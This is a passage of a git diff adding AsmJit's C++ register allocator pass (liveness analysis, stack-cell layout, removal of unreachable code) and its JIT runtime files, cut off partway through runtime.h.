+_NoMemory: + cc()->setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + return nullptr; +} + +RACell* RAPass::_newStackCell(uint32_t size, uint32_t alignment) { + RACell* cell = static_cast(_zone->alloc(sizeof(RACell))); + if (ASMJIT_UNLIKELY(!cell)) return nullptr; + + if (alignment == 0) + alignment = RAGetDefaultAlignment(size); + + if (alignment > 64) + alignment = 64; + + ASMJIT_ASSERT(Utils::isPowerOf2(alignment)); + size = Utils::alignTo(size, alignment); + + // Insert it sorted according to the alignment and size. + { + RACell** pPrev = &_memStackCells; + RACell* cur = *pPrev; + + while (cur && ((cur->alignment > alignment) || (cur->alignment == alignment && cur->size > size))) { + pPrev = &cur->next; + cur = *pPrev; + } + + cell->next = cur; + cell->offset = 0; + cell->size = size; + cell->alignment = alignment; + + *pPrev = cell; + _memStackCellsUsed++; + + _memMaxAlign = std::max(_memMaxAlign, alignment); + _memStackTotal += size; + } + + return cell; +} + +Error RAPass::resolveCellOffsets() { + RACell* varCell = _memVarCells; + RACell* stackCell = _memStackCells; + + uint32_t pos64 = 0; + uint32_t pos32 = pos64 + _mem64ByteVarsUsed * 64; + uint32_t pos16 = pos32 + _mem32ByteVarsUsed * 32; + uint32_t pos8 = pos16 + _mem16ByteVarsUsed * 16; + uint32_t pos4 = pos8 + _mem8ByteVarsUsed * 8 ; + uint32_t pos2 = pos4 + _mem4ByteVarsUsed * 4 ; + uint32_t pos1 = pos2 + _mem2ByteVarsUsed * 2 ; + + // Assign home slots. + while (varCell) { + uint32_t size = varCell->size; + uint32_t offset = 0; + + switch (size) { + case 1: offset = pos1 ; pos1 += 1 ; break; + case 2: offset = pos2 ; pos2 += 2 ; break; + case 4: offset = pos4 ; pos4 += 4 ; break; + case 8: offset = pos8 ; pos8 += 8 ; break; + case 16: offset = pos16; pos16 += 16; break; + case 32: offset = pos32; pos32 += 32; break; + case 64: offset = pos64; pos64 += 64; break; + + default: + ASMJIT_NOT_REACHED(); + } + + varCell->offset = static_cast(offset); + varCell = varCell->next; + } + + // Assign stack slots. + uint32_t stackPos = pos1 + _mem1ByteVarsUsed; + while (stackCell) { + uint32_t size = stackCell->size; + uint32_t alignment = stackCell->alignment; + ASMJIT_ASSERT(alignment != 0 && Utils::isPowerOf2(alignment)); + + stackPos = Utils::alignTo(stackPos, alignment); + stackCell->offset = stackPos; + stackCell = stackCell->next; + + stackPos += size; + } + + _memAllTotal = stackPos; + return kErrorOk; +} + +// ============================================================================ +// [asmjit::RAPass - RemoveUnreachableCode] +// ============================================================================ + +Error RAPass::removeUnreachableCode() { + ZoneList::Link* link = _unreachableList.getFirst(); + CBNode* stop = getStop(); + + while (link) { + CBNode* node = link->getValue(); + if (node && node->getPrev() && node != stop) { + // Locate all unreachable nodes. + CBNode* first = node; + do { + if (node->hasPassData()) break; + node = node->getNext(); + } while (node != stop); + + // Remove unreachable nodes that are neither informative nor directives. + if (node != first) { + CBNode* end = node; + node = first; + + // NOTE: The strategy is as follows: + // 1. The algorithm removes everything until it finds a first label. + // 2. After the first label is found it removes only removable nodes. + bool removeEverything = true; + do { + CBNode* next = node->getNext(); + bool remove = node->isRemovable(); + + if (!remove) { + if (node->isLabel()) + removeEverything = false; + remove = removeEverything; + } + + if (remove) + cc()->removeNode(node); + + node = next; + } while (node != end); + } + } + + link = link->getNext(); + } + + return kErrorOk; +} + +// ============================================================================ +// [asmjit::RAPass - Liveness Analysis] +// ============================================================================ + +//! \internal +struct LivenessTarget { + LivenessTarget* prev; //!< Previous target. + CBLabel* node; //!< Target node. + CBJump* from; //!< Jumped from. +}; + +Error RAPass::livenessAnalysis() { + uint32_t bLen = static_cast( + ((_contextVd.getLength() + RABits::kEntityBits - 1) / RABits::kEntityBits)); + + // No variables. + if (bLen == 0) + return kErrorOk; + + CCFunc* func = getFunc(); + CBJump* from = nullptr; + + LivenessTarget* ltCur = nullptr; + LivenessTarget* ltUnused = nullptr; + + ZoneList::Link* retPtr = _returningList.getFirst(); + ASMJIT_ASSERT(retPtr != nullptr); + + CBNode* node = retPtr->getValue(); + RAData* wd; + + size_t varMapToVaListOffset = _varMapToVaListOffset; + RABits* bCur = newBits(bLen); + if (ASMJIT_UNLIKELY(!bCur)) goto NoMem; + + // Allocate bits for code visited first time. +Visit: + for (;;) { + wd = node->getPassData(); + if (wd->liveness) { + if (bCur->_addBitsDelSource(wd->liveness, bCur, bLen)) + goto Patch; + else + goto Done; + } + + RABits* bTmp = copyBits(bCur, bLen); + if (!bTmp) goto NoMem; + + wd = node->getPassData(); + wd->liveness = bTmp; + + uint32_t tiedTotal = wd->tiedTotal; + TiedReg* tiedArray = reinterpret_cast(((uint8_t*)wd) + varMapToVaListOffset); + + for (uint32_t i = 0; i < tiedTotal; i++) { + TiedReg* tied = &tiedArray[i]; + VirtReg* vreg = tied->vreg; + + uint32_t flags = tied->flags; + uint32_t raId = vreg->_raId; + + if ((flags & TiedReg::kWAll) && !(flags & TiedReg::kRAll)) { + // Write-Only. + bTmp->setBit(raId); + bCur->delBit(raId); + } + else { + // Read-Only or Read/Write. + bTmp->setBit(raId); + bCur->setBit(raId); + } + } + + if (node->getType() == CBNode::kNodeLabel) + goto Target; + + if (node == func) + goto Done; + + ASMJIT_ASSERT(node->getPrev()); + node = node->getPrev(); + } + + // Patch already generated liveness bits. +Patch: + for (;;) { + ASMJIT_ASSERT(node->hasPassData()); + ASMJIT_ASSERT(node->getPassData()->liveness != nullptr); + + RABits* bNode = node->getPassData()->liveness; + if (!bNode->_addBitsDelSource(bCur, bLen)) goto Done; + if (node->getType() == CBNode::kNodeLabel) goto Target; + + if (node == func) goto Done; + node = node->getPrev(); + } + +Target: + if (static_cast(node)->getNumRefs() != 0) { + // Push a new LivenessTarget onto the stack if needed. + if (!ltCur || ltCur->node != node) { + // Allocate a new LivenessTarget object (from pool or zone). + LivenessTarget* ltTmp = ltUnused; + + if (ltTmp) { + ltUnused = ltUnused->prev; + } + else { + ltTmp = _zone->allocT( + sizeof(LivenessTarget) - sizeof(RABits) + bLen * sizeof(uintptr_t)); + if (!ltTmp) goto NoMem; + } + + // Initialize and make current - ltTmp->from will be set later on. + ltTmp->prev = ltCur; + ltTmp->node = static_cast(node); + ltCur = ltTmp; + + from = static_cast(node)->getFrom(); + ASMJIT_ASSERT(from != nullptr); + } + else { + from = ltCur->from; + goto JumpNext; + } + + // Visit/Patch. + do { + ltCur->from = from; + bCur->copyBits(node->getPassData()->liveness, bLen); + + if (!from->getPassData()->liveness) { + node = from; + goto Visit; + } + + // Issue #25: Moved 'JumpNext' here since it's important to patch + // code again if there are more live variables than before. +JumpNext: + if (bCur->delBits(from->getPassData()->liveness, bLen)) { + node = from; + goto Patch; + } + + from = from->getJumpNext(); + } while (from); + + // Pop the current LivenessTarget from the stack. + { + LivenessTarget* ltTmp = ltCur; + ltCur = ltCur->prev; + ltTmp->prev = ltUnused; + ltUnused = ltTmp; + } + } + + bCur->copyBits(node->getPassData()->liveness, bLen); + node = node->getPrev(); + if (node->isJmp() || !node->hasPassData()) goto Done; + + wd = node->getPassData(); + if (!wd->liveness) goto Visit; + if (bCur->delBits(wd->liveness, bLen)) goto Patch; + +Done: + if (ltCur) { + node = ltCur->node; + from = ltCur->from; + + goto JumpNext; + } + + retPtr = retPtr->getNext(); + if (retPtr) { + node = retPtr->getValue(); + goto Visit; + } + + return kErrorOk; + +NoMem: + return DebugUtils::errored(kErrorNoHeapMemory); +} + +// ============================================================================ +// [asmjit::RAPass - Annotate] +// ============================================================================ + +Error RAPass::formatInlineComment(StringBuilder& dst, CBNode* node) { +#if !defined(ASMJIT_DISABLE_LOGGING) + RAData* wd = node->getPassData(); + + if (node->hasInlineComment()) + dst.appendString(node->getInlineComment()); + + if (wd && wd->liveness) { + if (dst.getLength() < _annotationLength) + dst.appendChars(' ', _annotationLength - dst.getLength()); + + uint32_t vdCount = static_cast(_contextVd.getLength()); + size_t offset = dst.getLength() + 1; + + dst.appendChar('['); + dst.appendChars(' ', vdCount); + dst.appendChar(']'); + RABits* liveness = wd->liveness; + + uint32_t i; + for (i = 0; i < vdCount; i++) { + if (liveness->getBit(i)) + dst.getData()[offset + i] = '.'; + } + + uint32_t tiedTotal = wd->tiedTotal; + TiedReg* tiedArray = reinterpret_cast(((uint8_t*)wd) + _varMapToVaListOffset); + + for (i = 0; i < tiedTotal; i++) { + TiedReg* tied = &tiedArray[i]; + VirtReg* vreg = tied->vreg; + uint32_t flags = tied->flags; + + char c = 'u'; + if ( (flags & TiedReg::kRAll) && !(flags & TiedReg::kWAll)) c = 'r'; + if (!(flags & TiedReg::kRAll) && (flags & TiedReg::kWAll)) c = 'w'; + if ( (flags & TiedReg::kRAll) && (flags & TiedReg::kWAll)) c = 'x'; + // Uppercase if unused. + if ( (flags & TiedReg::kUnuse)) c -= 'a' - 'A'; + + ASMJIT_ASSERT(offset + vreg->_raId < dst.getLength()); + dst._data[offset + vreg->_raId] = c; + } + } +#endif // !ASMJIT_DISABLE_LOGGING + + return kErrorOk; +} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // !ASMJIT_DISABLE_COMPILER diff --git a/asmjit/src/asmjit/base/regalloc_p.h b/asmjit/src/asmjit/base/regalloc_p.h new file mode 100644 index 0000000..53c7aeb --- /dev/null +++ b/asmjit/src/asmjit/base/regalloc_p.h @@ -0,0 +1,568 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_REGALLOC_P_H +#define _ASMJIT_BASE_REGALLOC_P_H + +#include "../asmjit_build.h" +#if !defined(ASMJIT_DISABLE_COMPILER) + +// [Dependencies] +#include "../base/codecompiler.h" +#include "../base/zone.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::TiedReg] +// ============================================================================ + +//! Tied register (CodeCompiler) +//! +//! Tied register is used to describe one ore more register operands that share +//! the same virtual register. Tied register contains all the data that is +//! essential for register allocation. +struct TiedReg { + //! Flags. + ASMJIT_ENUM(Flags) { + kRReg = 0x00000001U, //!< Register read. + kWReg = 0x00000002U, //!< Register write. + kXReg = 0x00000003U, //!< Register read-write. + + kRMem = 0x00000004U, //!< Memory read. + kWMem = 0x00000008U, //!< Memory write. + kXMem = 0x0000000CU, //!< Memory read-write. + + kRDecide = 0x00000010U, //!< RA can decide between reg/mem read. + kWDecide = 0x00000020U, //!< RA can decide between reg/mem write. + kXDecide = 0x00000030U, //!< RA can decide between reg/mem read-write. + + kRFunc = 0x00000100U, //!< Function argument passed in register. + kWFunc = 0x00000200U, //!< Function return value passed into register. + kXFunc = 0x00000300U, //!< Function argument and return value. + kRCall = 0x00000400U, //!< Function call operand. + + kSpill = 0x00000800U, //!< Variable should be spilled. + kUnuse = 0x00001000U, //!< Variable should be unused at the end of the instruction/node. + + kRAll = kRReg | kRMem | kRDecide | kRFunc | kRCall, //!< All in-flags. + kWAll = kWReg | kWMem | kWDecide | kWFunc, //!< All out-flags. + + kRDone = 0x00400000U, //!< Already allocated on the input. + kWDone = 0x00800000U, //!< Already allocated on the output. + + kX86GpbLo = 0x10000000U, + kX86GpbHi = 0x20000000U, + kX86Fld4 = 0x40000000U, + kX86Fld8 = 0x80000000U + }; + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void init(VirtReg* vreg, uint32_t flags = 0, uint32_t inRegs = 0, uint32_t allocableRegs = 0) noexcept { + this->vreg = vreg; + this->flags = flags; + this->refCount = 0; + this->inPhysId = Globals::kInvalidRegId; + this->outPhysId = Globals::kInvalidRegId; + this->reserved = 0; + this->inRegs = inRegs; + this->allocableRegs = allocableRegs; + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get whether the variable has to be allocated in a specific input register. + ASMJIT_INLINE uint32_t hasInPhysId() const { return inPhysId != Globals::kInvalidRegId; } + //! Get whether the variable has to be allocated in a specific output register. + ASMJIT_INLINE uint32_t hasOutPhysId() const { return outPhysId != Globals::kInvalidRegId; } + + //! Set the input register index. + ASMJIT_INLINE void setInPhysId(uint32_t index) { inPhysId = static_cast(index); } + //! Set the output register index. + ASMJIT_INLINE void setOutPhysId(uint32_t index) { outPhysId = static_cast(index); } + + // -------------------------------------------------------------------------- + // [Operator Overload] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE TiedReg& operator=(const TiedReg& other) { + ::memcpy(this, &other, sizeof(TiedReg)); + return *this; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Pointer to the associated \ref VirtReg. + VirtReg* vreg; + //! Tied flags. + uint32_t flags; + + union { + struct { + //! How many times the variable is used by the instruction/node. + uint8_t refCount; + //! Input register index or `kInvalidReg` if it's not given. + //! + //! Even if the input register index is not given (i.e. it may by any + //! register), register allocator should assign an index that will be + //! used to persist a variable into this specific index. It's helpful + //! in situations where one variable has to be allocated in multiple + //! registers to determine the register which will be persistent. + uint8_t inPhysId; + //! Output register index or `kInvalidReg` if it's not given. + //! + //! Typically `kInvalidReg` if variable is only used on input. + uint8_t outPhysId; + //! \internal + uint8_t reserved; + }; + + //! \internal + //! + //! Packed data #0. + uint32_t packed; + }; + + //! Mandatory input registers. + //! + //! Mandatory input registers are required by the instruction even if + //! there are duplicates. This schema allows us to allocate one variable + //! in one or more register when needed. Required mostly by instructions + //! that have implicit register operands (imul, cpuid, ...) and function + //! call. + uint32_t inRegs; + + //! Allocable input registers. + //! + //! Optional input registers is a mask of all allocable registers for a given + //! variable where we have to pick one of them. This mask is usually not used + //! when _inRegs is set. If both masks are used then the register + //! allocator tries first to find an intersection between these and allocates + //! an extra slot if not found. + uint32_t allocableRegs; +}; + +// ============================================================================ +// [asmjit::RABits] +// ============================================================================ + +//! Fixed size bit-array. +//! +//! Used by variable liveness analysis. +struct RABits { + // -------------------------------------------------------------------------- + // [Enums] + // -------------------------------------------------------------------------- + + enum { + kEntitySize = static_cast(sizeof(uintptr_t)), + kEntityBits = kEntitySize * 8 + }; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE uintptr_t getBit(uint32_t index) const noexcept { + return (data[index / kEntityBits] >> (index % kEntityBits)) & 1; + } + + ASMJIT_INLINE void setBit(uint32_t index) noexcept { + data[index / kEntityBits] |= static_cast(1) << (index % kEntityBits); + } + + ASMJIT_INLINE void delBit(uint32_t index) noexcept { + data[index / kEntityBits] &= ~(static_cast(1) << (index % kEntityBits)); + } + + // -------------------------------------------------------------------------- + // [Interface] + // -------------------------------------------------------------------------- + + //! Copy bits from `s0`, returns `true` if at least one bit is set in `s0`. + ASMJIT_INLINE bool copyBits(const RABits* s0, uint32_t len) noexcept { + uintptr_t r = 0; + for (uint32_t i = 0; i < len; i++) { + uintptr_t t = s0->data[i]; + data[i] = t; + r |= t; + } + return r != 0; + } + + ASMJIT_INLINE bool addBits(const RABits* s0, uint32_t len) noexcept { + return addBits(this, s0, len); + } + + ASMJIT_INLINE bool addBits(const RABits* s0, const RABits* s1, uint32_t len) noexcept { + uintptr_t r = 0; + for (uint32_t i = 0; i < len; i++) { + uintptr_t t = s0->data[i] | s1->data[i]; + data[i] = t; + r |= t; + } + return r != 0; + } + + ASMJIT_INLINE bool andBits(const RABits* s1, uint32_t len) noexcept { + return andBits(this, s1, len); + } + + ASMJIT_INLINE bool andBits(const RABits* s0, const RABits* s1, uint32_t len) noexcept { + uintptr_t r = 0; + for (uint32_t i = 0; i < len; i++) { + uintptr_t t = s0->data[i] & s1->data[i]; + data[i] = t; + r |= t; + } + return r != 0; + } + + ASMJIT_INLINE bool delBits(const RABits* s1, uint32_t len) noexcept { + return delBits(this, s1, len); + } + + ASMJIT_INLINE bool delBits(const RABits* s0, const RABits* s1, uint32_t len) noexcept { + uintptr_t r = 0; + for (uint32_t i = 0; i < len; i++) { + uintptr_t t = s0->data[i] & ~s1->data[i]; + data[i] = t; + r |= t; + } + return r != 0; + } + + ASMJIT_INLINE bool _addBitsDelSource(RABits* s1, uint32_t len) noexcept { + return _addBitsDelSource(this, s1, len); + } + + ASMJIT_INLINE bool _addBitsDelSource(const RABits* s0, RABits* s1, uint32_t len) noexcept { + uintptr_t r = 0; + for (uint32_t i = 0; i < len; i++) { + uintptr_t a = s0->data[i]; + uintptr_t b = s1->data[i]; + + this->data[i] = a | b; + b &= ~a; + + s1->data[i] = b; + r |= b; + } + return r != 0; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uintptr_t data[1]; +}; + +// ============================================================================ +// [asmjit::RACell] +// ============================================================================ + +//! Register allocator's (RA) memory cell. +struct RACell { + RACell* next; //!< Next active cell. + int32_t offset; //!< Cell offset, relative to base-offset. + uint32_t size; //!< Cell size. + uint32_t alignment; //!< Cell alignment. +}; + +// ============================================================================ +// [asmjit::RAData] +// ============================================================================ + +//! Register allocator's (RA) data associated with each \ref CBNode. +struct RAData { + ASMJIT_INLINE RAData(uint32_t tiedTotal) noexcept + : liveness(nullptr), + state(nullptr), + tiedTotal(tiedTotal) {} + + RABits* liveness; //!< Liveness bits (populated by liveness-analysis). + RAState* state; //!< Optional saved \ref RAState. + uint32_t tiedTotal; //!< Total count of \ref TiedReg regs. +}; + +// ============================================================================ +// [asmjit::RAState] +// ============================================================================ + +//! Variables' state. +struct RAState {}; + +// ============================================================================ +// [asmjit::RAPass] +// ============================================================================ + +//! \internal +//! +//! Register allocator pipeline used by \ref CodeCompiler. +struct RAPass : public CBPass { +public: + ASMJIT_NONCOPYABLE(RAPass) + + typedef void (ASMJIT_CDECL* TraceNodeFunc)(RAPass* self, CBNode* node_, const char* prefix); + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + RAPass() noexcept; + virtual ~RAPass() noexcept; + + // -------------------------------------------------------------------------- + // [Interface] + // -------------------------------------------------------------------------- + + virtual Error process(Zone* zone) noexcept override; + + //! Run the register allocator for a given function `func`. + virtual Error compile(CCFunc* func) noexcept; + + //! Called by `compile()` to prepare the register allocator to process the + //! given function. It should reset and set-up everything (i.e. no states + //! from a previous compilation should prevail). + virtual Error prepare(CCFunc* func) noexcept; + + //! Called after `compile()` to clean everything up, no matter if it + //! succeeded or failed. + virtual void cleanup() noexcept; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get the associated `CodeCompiler`. + ASMJIT_INLINE CodeCompiler* cc() const noexcept { return static_cast(_cb); } + + //! Get function. + ASMJIT_INLINE CCFunc* getFunc() const noexcept { return _func; } + //! Get stop node. + ASMJIT_INLINE CBNode* getStop() const noexcept { return _stop; } + + // -------------------------------------------------------------------------- + // [State] + // -------------------------------------------------------------------------- + + //! Get current state. + ASMJIT_INLINE RAState* getState() const { return _state; } + + //! Load current state from `target` state. + virtual void loadState(RAState* src) = 0; + + //! Save current state, returning new `RAState` instance. + virtual RAState* saveState() = 0; + + //! Change the current state to `target` state. + virtual void switchState(RAState* src) = 0; + + //! Change the current state to the intersection of two states `a` and `b`. + virtual void intersectStates(RAState* a, RAState* b) = 0; + + // -------------------------------------------------------------------------- + // [Context] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE Error assignRAId(VirtReg* vreg) noexcept { + // Likely as a single virtual register would be mostly used more than once, + // this means that each virtual register will hit one bad case (doesn't + // have id) and then all likely cases. + if (ASMJIT_LIKELY(vreg->_raId != kInvalidValue)) return kErrorOk; + + uint32_t raId = static_cast(_contextVd.getLength()); + ASMJIT_PROPAGATE(_contextVd.append(&_heap, vreg)); + + vreg->_raId = raId; + return kErrorOk; + } + + // -------------------------------------------------------------------------- + // [Mem] + // -------------------------------------------------------------------------- + + RACell* _newVarCell(VirtReg* vreg); + RACell* _newStackCell(uint32_t size, uint32_t alignment); + + ASMJIT_INLINE RACell* getVarCell(VirtReg* vreg) { + RACell* cell = vreg->getMemCell(); + return cell ? cell : _newVarCell(vreg); + } + + virtual Error resolveCellOffsets(); + + // -------------------------------------------------------------------------- + // [Bits] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE RABits* newBits(uint32_t len) { + return static_cast( + _zone->allocZeroed(static_cast(len) * RABits::kEntitySize)); + } + + ASMJIT_INLINE RABits* copyBits(const RABits* src, uint32_t len) { + return static_cast( + _zone->dup(src, static_cast(len) * RABits::kEntitySize)); + } + + // -------------------------------------------------------------------------- + // [Fetch] + // -------------------------------------------------------------------------- + + //! Fetch. + //! + //! Fetch iterates over all nodes and gathers information about all variables + //! used. The process generates information required by register allocator, + //! variable liveness analysis and translator. + virtual Error fetch() = 0; + + // -------------------------------------------------------------------------- + // [Unreachable Code] + // -------------------------------------------------------------------------- + + //! Add unreachable-flow data to the unreachable flow list. + ASMJIT_INLINE Error addUnreachableNode(CBNode* node) { + ZoneList::Link* link = _zone->allocT::Link>(); + if (!link) return DebugUtils::errored(kErrorNoHeapMemory); + + link->setValue(node); + _unreachableList.append(link); + + return kErrorOk; + } + + //! Remove unreachable code. + virtual Error removeUnreachableCode(); + + // -------------------------------------------------------------------------- + // [Code-Flow] + // -------------------------------------------------------------------------- + + //! Add returning node (i.e. node that returns and where liveness analysis + //! should start). + ASMJIT_INLINE Error addReturningNode(CBNode* node) { + ZoneList::Link* link = _zone->allocT::Link>(); + if (!link) return DebugUtils::errored(kErrorNoHeapMemory); + + link->setValue(node); + _returningList.append(link); + + return kErrorOk; + } + + //! Add jump-flow data to the jcc flow list. + ASMJIT_INLINE Error addJccNode(CBNode* node) { + ZoneList::Link* link = _zone->allocT::Link>(); + if (!link) return DebugUtils::errored(kErrorNoHeapMemory); + + link->setValue(node); + _jccList.append(link); + + return kErrorOk; + } + + // -------------------------------------------------------------------------- + // [Analyze] + // -------------------------------------------------------------------------- + + //! Perform variable liveness analysis. + //! + //! Analysis phase iterates over nodes in reverse order and generates a bit + //! array describing variables that are alive at every node in the function. + //! When the analysis start all variables are assumed dead. When a read or + //! read/write operations of a variable is detected the variable becomes + //! alive; when only write operation is detected the variable becomes dead. + //! + //! When a label is found all jumps to that label are followed and analysis + //! repeats until all variables are resolved. + virtual Error livenessAnalysis(); + + // -------------------------------------------------------------------------- + // [Annotate] + // -------------------------------------------------------------------------- + + virtual Error annotate() = 0; + virtual Error formatInlineComment(StringBuilder& dst, CBNode* node); + + // -------------------------------------------------------------------------- + // [Translate] + // -------------------------------------------------------------------------- + + //! Translate code by allocating registers and handling state changes. + virtual Error translate() = 0; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + Zone* _zone; //!< Zone passed to `process()`. + ZoneHeap _heap; //!< ZoneHeap that uses `_zone`. + + CCFunc* _func; //!< Function being processed. + CBNode* _stop; //!< Stop node. + + //! \internal + //! + //! Offset (how many bytes to add) to `VarMap` to get `TiedReg` array. Used + //! by liveness analysis shared across all backends. This is needed because + //! `VarMap` is a base class for a specialized version that liveness analysis + //! doesn't use, it just needs `TiedReg` array. + uint32_t _varMapToVaListOffset; + + uint8_t _emitComments; //!< Whether to emit comments. + + ZoneList _unreachableList; //!< Unreachable nodes. + ZoneList _returningList; //!< Returning nodes. + ZoneList _jccList; //!< Jump nodes. + + ZoneVector _contextVd; //!< All variables used by the current function. + RACell* _memVarCells; //!< Memory used to spill variables. + RACell* _memStackCells; //!< Memory used to allocate memory on the stack. + + uint32_t _mem1ByteVarsUsed; //!< Count of 1-byte cells. + uint32_t _mem2ByteVarsUsed; //!< Count of 2-byte cells. + uint32_t _mem4ByteVarsUsed; //!< Count of 4-byte cells. + uint32_t _mem8ByteVarsUsed; //!< Count of 8-byte cells. + uint32_t _mem16ByteVarsUsed; //!< Count of 16-byte cells. + uint32_t _mem32ByteVarsUsed; //!< Count of 32-byte cells. + uint32_t _mem64ByteVarsUsed; //!< Count of 64-byte cells. + uint32_t _memStackCellsUsed; //!< Count of stack memory cells. + + uint32_t _memMaxAlign; //!< Maximum memory alignment used by the function. + uint32_t _memVarTotal; //!< Count of bytes used by variables. + uint32_t _memStackTotal; //!< Count of bytes used by stack. + uint32_t _memAllTotal; //!< Count of bytes used by variables and stack after alignment. + + uint32_t _annotationLength; //!< Default length of an annotated instruction. + RAState* _state; //!< Current RA state. +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // !ASMJIT_DISABLE_COMPILER +#endif // _ASMJIT_BASE_REGALLOC_P_H diff --git a/asmjit/src/asmjit/base/runtime.cpp b/asmjit/src/asmjit/base/runtime.cpp new file mode 100644 index 0000000..f074885 --- /dev/null +++ b/asmjit/src/asmjit/base/runtime.cpp @@ -0,0 +1,147 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/assembler.h" +#include "../base/cpuinfo.h" +#include "../base/runtime.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +static ASMJIT_INLINE void hostFlushInstructionCache(const void* p, size_t size) noexcept { + // Only useful on non-x86 architectures. +#if !ASMJIT_ARCH_X86 && !ASMJIT_ARCH_X64 +# if ASMJIT_OS_WINDOWS + // Windows has a built-in support in kernel32.dll. + ::FlushInstructionCache(_memMgr.getProcessHandle(), p, size); +# endif // ASMJIT_OS_WINDOWS +#else + ASMJIT_UNUSED(p); + ASMJIT_UNUSED(size); +#endif // !ASMJIT_ARCH_X86 && !ASMJIT_ARCH_X64 +} + +static ASMJIT_INLINE uint32_t hostDetectNaturalStackAlignment() noexcept { + // Alignment is assumed to match the pointer-size by default. + uint32_t alignment = sizeof(intptr_t); + + // X86 & X64 + // --------- + // + // - 32-bit X86 requires stack to be aligned to 4 bytes. Modern Linux, Mac + // and UNIX guarantees 16-byte stack alignment even on 32-bit. I'm not + // sure about all other UNIX operating systems, because 16-byte alignment + //! is addition to an older specification. + // - 64-bit X86 requires stack to be aligned to at least 16 bytes. +#if ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64 + int kIsModernOS = ASMJIT_OS_LINUX || // Linux & ANDROID. + ASMJIT_OS_MAC || // OSX and iOS. + ASMJIT_OS_BSD ; // BSD variants. + alignment = ASMJIT_ARCH_X64 || kIsModernOS ? 16 : 4; +#endif + + // ARM32 & ARM64 + // ------------- + // + // - 32-bit ARM requires stack to be aligned to 8 bytes. + // - 64-bit ARM requires stack to be aligned to 16 bytes. +#if ASMJIT_ARCH_ARM32 || ASMJIT_ARCH_ARM64 + alignment = ASMJIT_ARCH_ARM32 ? 8 : 16; +#endif + + return alignment; +} + + +// ============================================================================ +// [asmjit::Runtime - Construction / Destruction] +// ============================================================================ + +Runtime::Runtime() noexcept + : _codeInfo(), + _runtimeType(kRuntimeNone), + _allocType(VMemMgr::kAllocFreeable) {} +Runtime::~Runtime() noexcept {} + +// ============================================================================ +// [asmjit::HostRuntime - Construction / Destruction] +// ============================================================================ + +HostRuntime::HostRuntime() noexcept { + _runtimeType = kRuntimeJit; + + // Setup the CodeInfo of this Runtime. + _codeInfo._archInfo = CpuInfo::getHost().getArchInfo(); + _codeInfo._stackAlignment = static_cast(hostDetectNaturalStackAlignment()); + _codeInfo._cdeclCallConv = CallConv::kIdHostCDecl; + _codeInfo._stdCallConv = CallConv::kIdHostStdCall; + _codeInfo._fastCallConv = CallConv::kIdHostFastCall; +} +HostRuntime::~HostRuntime() noexcept {} + +// ============================================================================ +// [asmjit::HostRuntime - Interface] +// ============================================================================ + +void HostRuntime::flush(const void* p, size_t size) noexcept { + hostFlushInstructionCache(p, size); +} + +// ============================================================================ +// [asmjit::JitRuntime - Construction / Destruction] +// ============================================================================ + +JitRuntime::JitRuntime() noexcept {} +JitRuntime::~JitRuntime() noexcept {} + +// ============================================================================ +// [asmjit::JitRuntime - Interface] +// ============================================================================ + +Error JitRuntime::_add(void** dst, CodeHolder* code) noexcept { + size_t codeSize = code->getCodeSize(); + if (ASMJIT_UNLIKELY(codeSize == 0)) { + *dst = nullptr; + return DebugUtils::errored(kErrorNoCodeGenerated); + } + + void* p = _memMgr.alloc(codeSize, getAllocType()); + if (ASMJIT_UNLIKELY(!p)) { + *dst = nullptr; + return DebugUtils::errored(kErrorNoVirtualMemory); + } + + // Relocate the code and release the unused memory back to `VMemMgr`. + size_t relocSize = code->relocate(p); + if (ASMJIT_UNLIKELY(relocSize == 0)) { + *dst = nullptr; + _memMgr.release(p); + return DebugUtils::errored(kErrorInvalidState); + } + + if (relocSize < codeSize) + _memMgr.shrink(p, relocSize); + + flush(p, relocSize); + *dst = p; + + return kErrorOk; +} + +Error JitRuntime::_release(void* p) noexcept { + return _memMgr.release(p); +} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/runtime.h b/asmjit/src/asmjit/base/runtime.h new file mode 100644 index 0000000..730b6a8 --- /dev/null +++ b/asmjit/src/asmjit/base/runtime.h @@ -0,0 +1,198 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_RUNTIME_H +#define _ASMJIT_BASE_RUNTIME_H + +// [Dependencies] +#include "../base/codeholder.h" +#include "../base/vmem.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [Forward Declarations] +// ============================================================================ + +class CodeHolder; + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::Runtime] +// ============================================================================ + +//! Base runtime. +class 